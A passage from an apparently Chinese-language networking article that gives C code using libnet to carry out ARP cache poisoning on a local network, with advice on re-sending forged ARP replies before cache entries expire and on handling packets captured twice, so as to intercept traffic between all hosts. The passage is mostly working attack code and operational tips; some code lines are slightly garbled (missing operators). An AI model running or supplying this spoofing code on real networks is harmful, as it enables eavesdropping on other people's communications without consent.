ARP高速缓存中的记录都有过期时间 , 不同的操作系统有不同的设置.在实施中 , 我们只需以较短的时间周期性的发ARP欺骗包 , 则可解决这个问题.
代码如下:
void send_fake_arp_packet()
{
HOST * temp, * cur;
u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
for(cur = head; cur ; cur = cur->next)
{
if( cur->mac_flag == 0)
{
// 构造ARP请求包请求此IP地址的MAC地址
libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,
MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, (packetLIBNET_ETH_H));
if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_HLIBNET_ARP_H))) < 0)
errexit("libnet_write_link_layer errorn");
continue;
}
for(temp = head; temp; temp = temp->next)
{
if (temp == cur)
continue;
libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, (packetLIBNET_ETH_H));
if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_HLIBNET_ARP_H))) < 0)
errexit("libnet_write_link_layer errorn");
}
}
}
正确处理一个以太包实际被捕捉两次的情况 。例如:捕捉到B发向A的以太包 , 第一次为(2.2.2.2 , 02:02:02)->(1.1.1.1 , 04:04:04) , 第二次为(2.2.2.2 , 04:04:04)->(1.1.1.1 , 01:01:01) 。区分这两次捕捉的规则很简单:目标IP 不为本IP且目标MAC为本MAC就是第一次;源IP不为本IP且源MAC为本MAC就是第二次 。在实际处理中 , 可任取一种包并把源/目的MAC改写 , 对另一种包忽略即可 。
7. 相关说明
这种ARP欺骗是以主机的ARP高速缓存可以动态改变为前提的 , 假如ARP高速缓存中某一IP的MAC地址被设为静态(static) , 则对关于此IP的欺骗是显然不成立的 。
为了尽快的把握网络中主机的地址信息 , 应至少对ARP请求包和ARP应答包都处理 。假如只处理ARP请求包 , 则在此刻只能把握发端主机的信息 , 并只能欺骗发端主机 。在实际的IP包捕捉中 , 就会看到单边数据包 。当然 , 在程序运行一段时间后 , 所有主机信息也能全部把握 , 但效率显然是不高的 。假如再加上对未知MAC的IP的主动请求 , 则捕捉所有数据包可在较短时间内完成 。(在实际的C类网中测试 , 不到一分钟)
推荐阅读
- LAPB、X.25和X.25交换配置命令
- 交换机应用点概要
- 华为交换机端口监听配置
- 上海有线网络IP优化&SDH&三层交换网络集成
- 华为交换机端口镜像配置
- 华为交换机中小企业或大企分支机构的常用配置
- 交换机WEB网管配置
- 华为交换机ip mac 端口绑定!!
- 交谈名词解释 交谈的定义
- 软交换技术备战下一代通信网络探讨
